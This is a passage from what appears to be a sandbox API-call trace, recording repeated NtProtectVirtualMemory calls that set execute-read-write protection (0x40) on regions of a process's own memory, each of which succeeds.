NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.429] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.444] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.474] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.494] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.526] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.545] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.572] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.587] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.601] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.630] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.649] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.807] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.828] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.855] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.878] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.906] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.922] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.938] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.965] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.981] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.008] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.023] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.048] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.063] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.078] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.116] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.134] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.163] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.177] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.202] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.216] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.258] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.273] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.299] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.347] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.367] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.384] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.397] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.412] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.432] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.443] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.453] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.464] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.490] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.500] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.511] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.532] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.554] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.565] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.574] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.584] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.601] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.611] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.622] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.648] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.660] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.670] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.682] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.699] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.709] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.719] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.729] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.780] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.791] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.801] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.819] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.830] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.854] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.867] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.893] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.904] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.914] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.925] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.942] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.953] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.963] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.973] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.991] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.001] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.011] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.021] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.038] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.048] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.058] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.073] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0288.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) 